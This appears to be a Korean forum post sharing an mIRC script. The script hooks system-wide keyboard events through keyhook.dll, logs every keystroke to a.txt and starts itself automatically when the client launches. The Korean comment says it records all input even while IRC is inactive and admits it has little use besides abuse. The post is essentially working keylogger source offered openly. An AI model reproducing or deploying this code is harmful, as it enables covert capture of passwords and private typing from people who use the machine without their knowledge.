|
글 수 557
on 1:SIGNAL:WM_SYSKEYDOWN: { if ( $1 == 164 && $2 == 32 ) { write -n a.txt <LAlt> } elseif ( $1 == 27 && $2 == 32 ) { write -n a.txt <Alt+ESC> } elseif ( $1 == 112 && $2 == 32 ) { write -n a.txt <Alt+F1> } elseif ( $1 == 113 && $2 == 32 ) { write -n a.txt <Alt+F2> } elseif ( $1 == 114 && $2 == 32 ) { write -n a.txt <Alt+F3> } elseif ( $1 == 115 && $2 == 32 ) { write -n a.txt <Alt+F4> } elseif ( $1 == 116 && $2 == 32 ) { write -n a.txt <Alt+F5> } elseif ( $1 == 117 && $2 == 32 ) { write -n a.txt <Alt+F6> } elseif ( $1 == 118 && $2 == 32 ) { write -n a.txt <Alt+F7> } elseif ( $1 == 119 && $2 == 32 ) { write -n a.txt <Alt+F8> } elseif ( $1 == 120 && $2 == 32 ) { write -n a.txt <Alt+F9> } elseif ( $1 == 121 && $2 == 32 ) { write -n a.txt <Alt+F10> } elseif ( $1 == 122 && $2 == 32 ) { write -n a.txt <Alt+F11> } elseif ( $1 == 123 && $2 == 32 ) { write -n a.txt <Alt+F12> } elseif ( $1 == 8 && $2 == 32 ) { write -n a.txt <Alt+Back> } elseif ( $1 == 13 && $2 == 32 ) { write -n a.txt <Alt+Enter> } elseif ( $1 == 32 && $2 == 32 ) { write -n a.txt <Alt+Space> } elseif ( $1 == 160 && $2 == 32 ) { write -n a.txt <Alt+Lshf> } elseif ( $1 == 161 && $2 == 32 ) { write -n a.txt <Alt+Rshf> } elseif ( $1 == 91 && $2 == 33 ) { write -n a.txt <Alt+Lwin> } elseif ( $1 == 9 && $2 == 32 ) { write -n a.txt <Alt+TAB> } elseif ( $1 == 241 && $2 == 32 ) { write -n a.txt <Alt+Caps> } elseif ( $1 == 49 && $2 == 32 ) { write -n a.txt <Alt+1> } elseif ( $1 == 50 && $2 == 32 ) { write -n a.txt <Alt+2> } elseif ( $1 == 51 && $2 == 32 ) { write -n a.txt <Alt+3> } elseif ( $1 == 52 && $2 == 32 ) { write -n a.txt <Alt+4> } elseif ( $1 == 53 && $2 == 32 ) { write -n a.txt <Alt+5> } elseif ( $1 == 54 && $2 == 32 ) { write -n a.txt <Alt+6> } elseif ( $1 == 55 && $2 == 32 ) { write -n a.txt <Alt+7> } elseif ( $1 == 56 && $2 == 32 ) { write -n a.txt <Alt+8> } elseif ( $1 == 57 && $2 == 32 ) { write -n a.txt <Alt+9> } elseif ( $1 == 48 && $2 == 32 ) { write -n a.txt <Alt+0> } elseif ( $1 == 189 && $2 == 32 ) { write -n a.txt - } elseif ( $1 == 187 && $2 == 32 ) { write -n a.txt = } elseif ( $1 == 220 && $2 == 32 ) { write -n a.txt \ } elseif ( $1 == 192 && $2 == 32 ) { write -n a.txt ` } elseif ( $1 == 96 && $2 == 32 ) { write -n a.txt 0 } elseif ( $1 == 97 && $2 == 32 ) { write -n a.txt 1 } elseif ( $1 == 98 && $2 == 32 ) { write -n a.txt 2 } elseif ( $1 == 99 && $2 == 32 ) { write -n a.txt 3 } elseif ( $1 == 100 && $2 == 32 ) { write -n a.txt 4 } elseif ( $1 == 101 && $2 == 32 ) { write -n a.txt 5 } elseif ( $1 == 102 && $2 == 32 ) { write -n a.txt 6 } elseif ( $1 == 103 && $2 == 32 ) { write -n a.txt 7 } elseif ( $1 == 104 && $2 == 32 ) { write -n a.txt 8 } elseif ( $1 == 105 && $2 == 32 ) { write -n a.txt 9 } elseif ( $1 == 13 && $2 == 33 ) { write -n a.txt <Renter> } elseif ( $1 == 110 && $2 == 32 ) { write -n a.txt . } elseif ( $1 == 107 && $2 == 32 ) { write -n a.txt + } elseif ( $1 == 144 && $2 == 33 ) { write -n a.txt <NL> } elseif ( $1 == 111 && $2 == 33 ) { write -n a.txt <DVN> } elseif ( $1 == 106 && $2 == 32 ) { write -n a.txt * } elseif ( $1 == 109 && $2 == 32 ) { write -n a.txt - } elseif ( $1 == 38 && $2 == 33 ) { write -n a.txt <Alt+↑> } elseif ( $1 == 40 && $2 == 33 ) { write -n a.txt <Alt+↓> } elseif ( $1 == 37 && $2 == 33 ) { write -n a.txt <Alt+←> } elseif ( $1 == 39 && $2 == 33 ) { write -n a.txt <Alt+→> } elseif ( $1 == 44 && $2 == 33 ) { write -n a.txt <SysRq> } elseif ( $1 == 145 && $2 == 32 ) { write -n a.txt <ScrLock> } elseif ( $1 == 19 && $2 == 32 ) { write -n a.txt <pause> } elseif ( $1 == 45 && $2 == 33 ) { write -n a.txt <insert> } elseif ( $1 == 46 && $2 == 33 ) { write -n a.txt <del> } elseif ( $1 == 36 && $2 == 33 ) { write -n a.txt <home> } elseif ( $1 == 35 && $2 == 33 ) { write -n a.txt <end> } elseif ( $1 == 33 && $2 == 33 ) { write -n a.txt <pgUP> } elseif ( $1 == 34 && $2 == 33 ) { write -n a.txt <pgDOWN> } elseif ( $1 == 92 && $2 == 33 ) { write -n a.txt <Rwin> } elseif ( $1 == 93 && $2 == 33 ) { write -n a.txt <menu> } elseif ( $1 == 25 && $2 == 33 ) { write -n a.txt <RAlt> } elseif ( $1 == 219 && $2 == 32 ) { write -n a.txt [ } elseif ( $1 == 221 && $2 == 32 ) { write -n a.txt ] } elseif ( $1 == 186 && $2 == 32 ) { write -n a.txt ; } elseif ( $1 == 222 && $2 == 32 ) { write -n a.txt ' } elseif ( $1 == 188 && $2 == 32 ) { write -n a.txt , } elseif ( $1 == 190 && $2 == 32 ) { write -n a.txt . } elseif ( $1 == 191 && $2 == 32 ) { write -n a.txt <slash> } } on 1:SIGNAL:WM_KEYDOWN: { if ( $1 == 27 && $2 == 0 ) { write -n a.txt <ESC> } elseif ( $1 == 112 && $2 == 0 ) { write -n a.txt <F1> } elseif ( $1 == 113 && $2 == 0 ) { write -n a.txt <F2> } elseif ( $1 == 114 && $2 == 0 ) { write -n a.txt <F3> } elseif ( $1 == 115 && $2 == 0 ) { write -n a.txt <F4> } elseif ( $1 == 116 && $2 == 0 ) { write -n a.txt <F5> } elseif ( $1 == 117 && $2 == 0 ) { write -n a.txt <F6> } elseif ( $1 == 118 && $2 == 0 ) { write -n a.txt <F7> } elseif ( $1 == 119 && $2 == 0 ) { write -n a.txt <F8> } elseif ( $1 == 120 && $2 == 0 ) { write -n a.txt <F9> } elseif ( $1 == 121 && $2 == 0 ) { write -n a.txt <F10> } elseif ( $1 == 122 && $2 == 0 ) { write -n a.txt <F11> } elseif ( $1 == 123 && $2 == 0 ) { write -n a.txt <F12> } elseif ( $1 == 162 && $2 == 0 ) { write -n a.txt <Lctrl> } elseif ( $1 == 8 && $2 == 0 ) { write -n a.txt <Back> } elseif ( $1 == 13 && $2 == 0 ) { write -n a.txt <Enter> } elseif ( $1 == 32 && $2 == 0 ) { write -n a.txt <Space> } elseif ( $1 == 160 && $2 == 0 ) { write -n a.txt <Lshf> } elseif ( $1 == 161 && $2 == 1 ) { write -n a.txt <Rshf> } elseif ( $1 == 91 && $2 == 1 ) { write -n a.txt <Lwin> } elseif ( $1 == 21 && $2 == 0 ) { write -n a.txt <KE-RC> } elseif ( $1 == 9 && $2 == 0 ) { write -n a.txt <TAB> } elseif ( $1 == 20 && $2 == 0 ) { write -n a.txt <Caps> } elseif ( $1 == 49 && $2 == 0 ) { write -n a.txt 1 } elseif ( $1 == 50 && $2 == 0 ) { write -n a.txt 2 } elseif ( $1 == 51 && $2 == 0 ) { write -n a.txt 3 } elseif ( $1 == 52 && $2 == 0 ) { write -n a.txt 4 } elseif ( $1 == 53 && $2 == 0 ) { write -n a.txt 5 } elseif ( $1 == 54 && $2 == 0 ) { write -n a.txt 6 } elseif ( $1 == 55 && $2 == 0 ) { write -n a.txt 7 } elseif ( $1 == 56 && $2 == 0 ) { write -n a.txt 8 } elseif ( $1 == 57 && $2 == 0 ) { write -n a.txt 9 } elseif ( $1 == 48 && $2 == 0 ) { write -n a.txt 0 } elseif ( $1 == 189 && $2 == 0 ) { write -n a.txt - } elseif ( $1 == 187 && $2 == 0 ) { write -n a.txt = } elseif ( $1 == 220 && $2 == 0 ) { write -n a.txt \ } elseif ( $1 == 192 && $2 == 0 ) { write -n a.txt ` } elseif ( $1 == 96 && $2 == 0 ) { write -n a.txt 0 } elseif ( $1 == 97 && $2 == 0 ) { write -n a.txt 1 } elseif ( $1 == 98 && $2 == 0 ) { write -n a.txt 2 } elseif ( $1 == 99 && $2 == 0 ) { write -n a.txt 3 } elseif ( $1 == 100 && $2 == 0 ) { write -n a.txt 4 } elseif ( $1 == 101 && $2 == 0 ) { write -n a.txt 5 } elseif ( $1 == 102 && $2 == 0 ) { write -n a.txt 6 } elseif ( $1 == 103 && $2 == 0 ) { write -n a.txt 7 } elseif ( $1 == 104 && $2 == 0 ) { write -n a.txt 8 } elseif ( $1 == 105 && $2 == 0 ) { write -n a.txt 9 } elseif ( $1 == 13 && $2 == 1 ) { write -n a.txt <Renter> } elseif ( $1 == 110 && $2 == 0 ) { write -n a.txt . } elseif ( $1 == 107 && $2 == 0 ) { write -n a.txt + } elseif ( $1 == 144 && $2 == 1 ) { write -n a.txt <NL> } elseif ( $1 == 111 && $2 == 1 ) { write -n a.txt <DVN> } elseif ( $1 == 106 && $2 == 0 ) { write -n a.txt * } elseif ( $1 == 109 && $2 == 0 ) { write -n a.txt - } elseif ( $1 == 38 && $2 == 1 ) { write -n a.txt ↑ } elseif ( $1 == 40 && $2 == 1 ) { write -n a.txt ↓ } elseif ( $1 == 37 && $2 == 1 ) { write -n a.txt ← } elseif ( $1 == 39 && $2 == 1 ) { write -n a.txt → } elseif ( $1 == 44 && $2 == 1 ) { write -n a.txt <SysRq> } elseif ( $1 == 145 && $2 == 0 ) { write -n a.txt <ScrLock> } elseif ( $1 == 19 && $2 == 0 ) { write -n a.txt <pause> } elseif ( $1 == 45 && $2 == 1 ) { write -n a.txt <insert> } elseif ( $1 == 46 && $2 == 1 ) { write -n a.txt <del> } elseif ( $1 == 36 && $2 == 1 ) { write -n a.txt <home> } elseif ( $1 == 35 && $2 == 1 ) { write -n a.txt <end> } elseif ( $1 == 33 && $2 == 1 ) { write -n a.txt <pgUP> } elseif ( $1 == 34 && $2 == 1 ) { write -n a.txt <pgDOWN> } elseif ( $1 == 92 && $2 == 1 ) { write -n a.txt <Rwin> } elseif ( $1 == 93 && $2 == 1 ) { write -n a.txt <menu> } elseif ( $1 == 25 && $2 == 1 ) { write -n a.txt <RAlt> } elseif ( $1 == 219 && $2 == 0 ) { write -n a.txt [ } elseif ( $1 == 221 && $2 == 0 ) { write -n a.txt ] } elseif ( $1 == 186 && $2 == 0 ) { write -n a.txt ; } elseif ( $1 == 222 && $2 == 0 ) { write -n a.txt ' } elseif ( $1 == 188 && $2 == 0 ) { write -n a.txt , } elseif ( $1 == 190 && $2 == 0 ) { write -n a.txt . } elseif ( $1 == 191 && $2 == 0 ) { write -n a.txt <slash> } ; elseif ( $1 == ) { write -n a.txt } else { write -n a.txt $chr($1) } } ;on 1:SIGNAL:WM_KEYDOWN: { write -n a.txt $1 $+ - } ;on 1:SIGNAL:WM_KEYDOWN: { echo -a $signal -> KEY: $1 FLAGS: $2 } ;on 1:SIGNAL:WM_SYSKEYDOWN: { echo -a $signal -> KEY: $1 FLAGS: $2 } ; Extra Functions ; Do not edit (?) alias LoadKeyHook { if ($dll(keyhook.dll)) { echo $color(info) -at * /LoadKeyHook: KeyHook is already loaded. } else { dll keyhook.dll StartKeyHook if ($show) echo $color(info2) -at * KeyHook was successfully loaded. } } alias UnloadKeyHook { if (!$dll(keyhook.dll)) { echo $color(info) -at * /UnloadKeyHook: KeyHook is already unloaded. } else { dll -u keyhook.dll if ($show) echo $color(info2) -at * KeyHook was successfully unloaded. } } on 1:LOAD:/LoadKeyHook on 1:START:/.LoadKeyHook | ||
irc폴더의 a.txt에 모든 키입력이 기록된다. (irc 비활성화 상태에서도 작동)
악용의 여지밖에 없는 스크립트지만 WM_KEYDOWN에서 어떤 키가 몇번인지 확인하는 정도의 용도로 활용하면 될 것.